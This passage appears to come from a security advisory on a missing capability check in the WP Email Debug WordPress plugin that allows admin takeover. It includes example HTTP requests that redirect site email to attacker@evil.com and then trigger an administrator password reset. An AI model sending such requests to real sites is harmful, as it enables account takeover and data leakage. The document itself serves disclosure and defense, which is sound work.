    Privileges Required: None
    User Interaction: None
    Impact: System compromise, data leakage

    Affected Products

    Product | Affected Versions

    WP Email Debug plugin for WordPress | 1.0 to 1.1.0

    How the Exploit Works

    The WP Email Debug plugin for WordPress is vulnerable due to a missing capability check in the WPMDBUG_handle_settings() function. This absence of a crucial security control allows unauthenticated attackers to enable debugging and send all emails to an address of their choosing.
    The attacker can then trigger a password reset for an administrator. The password reset email is captured by the attacker, allowing them to reset the admin password and gain unauthorized access to the administrator account. This access can then be leveraged to compromise the system or leak sensitive data.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited. This pseudocode demonstrates how an attacker could potentially use the WPMDBUG_handle_settings() function to redirect emails and trigger a password reset.

    POST /wp-admin/admin-ajax.php?action=wpmdbug_handle_settings HTTP/1.1
    Host: target.wordpresssite.com
    Content-Type: application/x-www-form-urlencoded
    {
    "debug_email": "attacker@evil.com",
    "enable_debug": "true"
    }
    POST /wp-login.php?action=lostpassword HTTP/1.1
    Host: target.wordpresssite.com
    Content-Type: application/x-www-form-urlencoded
    {
    "user_login": "admin",
    "redirect_to": "",
    "wp-submit": "Get New Password"
    }

    In the above example, the attacker first enables the debug mode and redirects all outgoing emails to their own email address. Following this, they trigger a password reset for the admin account. The reset email is sent to the attacker’s email address, granting them the ability to reset the admin password and gain control of the account.

    Mitigation and Prevention

    To prevent potential system compromise or data leakage, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. Additionally, monitoring for suspicious activity and enhancing internal security controls can also help in mitigating the risks posed by this vulnerability.
